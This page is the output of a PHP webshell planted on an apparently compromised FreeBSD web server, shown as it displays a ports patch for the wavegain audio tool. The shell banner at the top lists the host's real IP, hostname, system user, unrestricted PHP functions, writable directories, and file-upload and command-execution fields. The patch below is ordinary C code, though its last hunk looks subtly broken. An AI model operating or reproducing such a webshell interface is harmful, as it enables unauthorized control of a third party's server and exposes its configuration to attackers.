403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/wavegain/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/wavegain/files/patch-main.c
--- main.c.orig	2008-08-08 08:48:38 UTC
+++ main.c
@@ -178,7 +178,7 @@ int process_files(FILE_LIST* file_list, SETTINGS* sett
 	/* Undo previously applied gain */
 	if (settings->undo) {
 		for (file = file_list; file; file = file->next_file) {
-			if (file->filename == '\0')
+			if (file->filename == NULL)
 				continue;
 			if (!write_gains(file->filename, 0, 0, 0, 0, 0, settings)) {
 				fprintf(stderr, " Error processing GAIN for file - %s\n", file->filename);
@@ -191,12 +191,12 @@ int process_files(FILE_LIST* file_list, SETTINGS* sett
 		for (file = file_list; file; file = file->next_file) {
 			int dc_l;
 			int dc_r;
-			if (file->filename == '\0')
+			if (file->filename == NULL)
 				continue;
 
 			if (!get_gain(file->filename, &file->track_peak, &file->track_gain,
 			              file->dc_offset, file->offset, settings)) {
-				file->filename = '\0';
+				file->filename = NULL;
 				continue;
 			}
 			dc_l = (int)(file->dc_offset[0] * 32768 * -1);
@@ -262,7 +262,7 @@ int process_files(FILE_LIST* file_list, SETTINGS* sett
 		if(settings->apply_gain) {	/* Write radio and audiophile gains. */
 			total_files = 0.0;
 			for (file = file_list; file; file = file->next_file) {
-				if (file->filename == '\0')
+				if (file->filename == NULL)
 					continue;
 				if (settings->audiophile && settings->set_album_gain == 1)
 					break;
@@ -297,7 +297,7 @@ int process_files(FILE_LIST* file_list, SETTINGS* sett
 		SetEnvironmentVariable("ALBUM_PEAK", ftos(settings->album_peak, "%.0lf"));
 
 		for (file = file_list; file; file = file->next_file) {
-			if (file->filename == '\0')
+			if (file->filename[0] == NULL)
 				continue;
 
 			if (dir[0] == '.' && dir[1] == '\\') dir += 2;

Youez - 2016 - github.com/yon3zu
LinuXploit